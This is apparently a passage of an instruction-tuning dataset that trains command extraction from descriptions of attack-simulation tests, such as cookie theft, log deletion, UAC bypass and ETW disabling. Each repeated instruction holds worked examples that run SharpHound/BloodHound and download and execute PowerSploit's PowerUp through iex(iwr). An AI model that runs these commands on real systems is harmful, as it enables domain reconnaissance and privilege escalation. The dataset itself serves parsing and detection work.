\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Uses GZip from Python to compress files\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n RpcPing command can be used to send an RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process. \nRef: https://twitter.com/vysecurity/status/974806438316072960", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test queries Chrome's SQLite database to steal the encrypted cookie data, designed to function similarly to Zloader/Zbot's cookie theft function. \nOnce an adversary obtains the encrypted cookie info, they could go on to decrypt the encrypted value, potentially allowing for session theft. \nNote: If Chrome is running, the process will be killed to ensure that the DB file isn't locked. \nSee https://www.malwarebytes.com/resources/files/2020/05/the-silent-night-zloader-zbot_final.pdf. \n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n PowerView is a PowerShell tool to gain network situational awareness on Windows domains. ShareFinder finds (non-standard) shares on machines in the domain.", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test deletes the system log file using unlink utility\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test will append a command to the HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit value to launch calc.exe on boot.\n* Requires reboot\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Check for privilege escalation paths using PowerUp from PowerShellMafia\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Disables ETW for the .NET Framework by setting the COMPlus_ETWEnabled environment variable to 0 in the HKCU registry using the reg.exe utility. In order for changes to take effect a logout might be required.", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n UAC bypass using ccmstp technique via function of WinPwn", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple 